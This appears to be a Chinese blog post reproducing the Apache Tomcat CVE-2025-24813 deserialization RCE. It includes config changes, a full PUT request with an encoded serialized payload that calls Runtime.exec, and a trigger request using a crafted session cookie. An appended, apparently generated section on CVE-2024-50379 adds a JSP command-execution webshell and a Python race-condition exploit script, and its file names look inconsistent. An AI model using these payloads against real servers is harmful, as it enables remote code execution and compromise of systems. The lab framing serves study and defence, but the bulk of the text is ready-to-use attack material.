(CVE-2025-24813) Tomcat RCE 漏洞复现

(CVE-2025-24813) Tomcat RCE 漏洞复现

本文参考 https://forum.butian.net/article/674

漏洞概况

Tomcat 是一个开源的、轻量级的 Web 应用服务器 和 Servlet 容器。它由 Apache 软件基金会下的 Jakarta 项目开发,是目前最流行的 Java Web 服务器之一。
该漏洞利用条件较为复杂,需同时满足以下四个条件:

  • 应用程序启用了DefaultServlet写入功能,该功能默认关闭
  • 应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启
  • 应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置
    应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库

影响范围

9.0.0.M1 <= tomcat <= 9.0.98
10.1.0-M1 <= tomcat <= 10.1.34
11.0.0-M1 <= tomcat <= 11.0.2

环境搭建

conf/web.xml

在conf/web.xml中,将DefaultServlet的readonly配置为false,启用写入功能

    <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

conf/context.xml

在conf/context.xml中,添加如下配置,开启File文件会话存储

    <Manager className="org.apache.catalina.session.PersistentManager">  
      <Store className="org.apache.catalina.session.FileStore"/>  
    </Manager>  

在这里插入图片描述

反序化依赖-commons-collections-3.2.1.jar

为了在新的tom中实现反序化漏洞利用,可以在webapps\ROOT\WEB-INF\lib中添加

在这里插入图片描述

漏洞复现

commons-collections:commons-collections:3.2.1 可以使用CommonsCollectionsK1 ,CommonsCollectionsK3 等链来打

使用yakit中的yso生成
在这里插入图片描述

上传反序化文件

PUT /xiuxiu/session HTTP/1.1
Host: 192.168.100.1:8080
Content-Length: 1000  
Content-Range: bytes 0-1000/1200  

{{base64dec(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)}}

在这里插入图片描述
该文件会在tomcat中\work\Catalina\localhost\ROOT目录生成

在这里插入图片描述

使用JSESSIONID=.xiuxiu来触发漏洞,成功触发后响应500

GET / HTTP/1.1  
Host: 192.168.100.1:8080
Cookie: JSESSIONID=.xiuxiu

在这里插入图片描述

### 关于Tomcat CVE-2024-50379 RCE复现方法 #### 漏洞概述 Apache TomcatCVE-2024-50379 是一种基于条件竞争的远程代码执行漏洞。该漏洞允许攻击者通过特定方式上传非标准后缀的 JSP 文件,并利用服务器对大小写的不敏感特性,触发目标系统的任意代码执行[^2]。 --- #### 复现步骤说明 以下是针对此漏洞的一般性复现流程: 1. **环境准备** 攻击者需搭建一个与目标版本一致的 Apache Tomcat 测试环境,确保其配置支持文件上传功能。例如,启用 WebDAV 或其他可接受 PUT 请求的功能模块。 2. **构造恶意文件** 创建一个具有非标准扩展名(如 `.jsp_` 而不是 `.jsp`)的恶意脚本文件。此类文件通常不会被立即解析为 JSP 页面,从而绕过某些安全检测机制。 示例代码如下: ```java <%@ page import="java.util.*, java.io.*"%> <% Process p = Runtime.getRuntime().exec("id"); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = in.readLine()) != null) { out.println(line); } %> ``` 3. **并发请求操作** 使用工具发送多个 HTTP `PUT` 请求来上传上述恶意文件至目标路径;与此同时,持续向同一目录下的合法命名(即带有 `.jsp` 扩展名)的目标发起高频次访问尝试。这种行为旨在捕捉到因竞态条件而产生的短暂时间窗口,在这期间恶意文件可能被错误识别并处理成真正的 JSP 页面。 4. **验证效果** 如果一切顺利的话,则可以通过浏览器或其他客户端直接调用已部署成功的恶意程序地址完成命令注入测试工作。此时应该能够看到预期返回的结果数据包内含有所执行操作系统指令所产生的相应反馈信息。 --- #### 视频教程资源推荐 对于希望更直观了解整个过程的学习者来说,网络上有不少高质量的教学视频可供参考学习。其中就包括一篇名为《Apache Tomcat RCE 稳定复现 保姆级!(CVE-2024-50379)附视频+POC》的文章链接分享出了完整的演示录像以及配套使用的 Python 脚本来简化实际动手环节中的复杂度。 --- #### POC (Proof Of Concept) Code Example 下面给出一段简单的 python poc 实现用于辅助理解如何自动化实施以上提到的技术细节: ```python import requests, threading def upload_payload(url): headers={"Content-Type":"application/octet-stream"} with open('malicious.jsp_', 'rb') as f: r=requests.put(f"{url}/test/malicious.jsp_", data=f.read(),headers=headers) def trigger_exploit(url): while True: try: resp=requests.get(f'{url}/test/MALICIOUS.JSP') if "uid" in str(resp.content):print("[+] Exploited!");break except Exception as e:pass if __name__=='__main__': url=input("Enter target URL:") t1=threading.Thread(target=upload_payload,args=(url,)) t2=threading.Thread(target=trigger_exploit ,args=(url,)) t1.start();t2.start() ``` 注意:仅限研究用途,请勿非法使用! --- ###
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

????27282

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值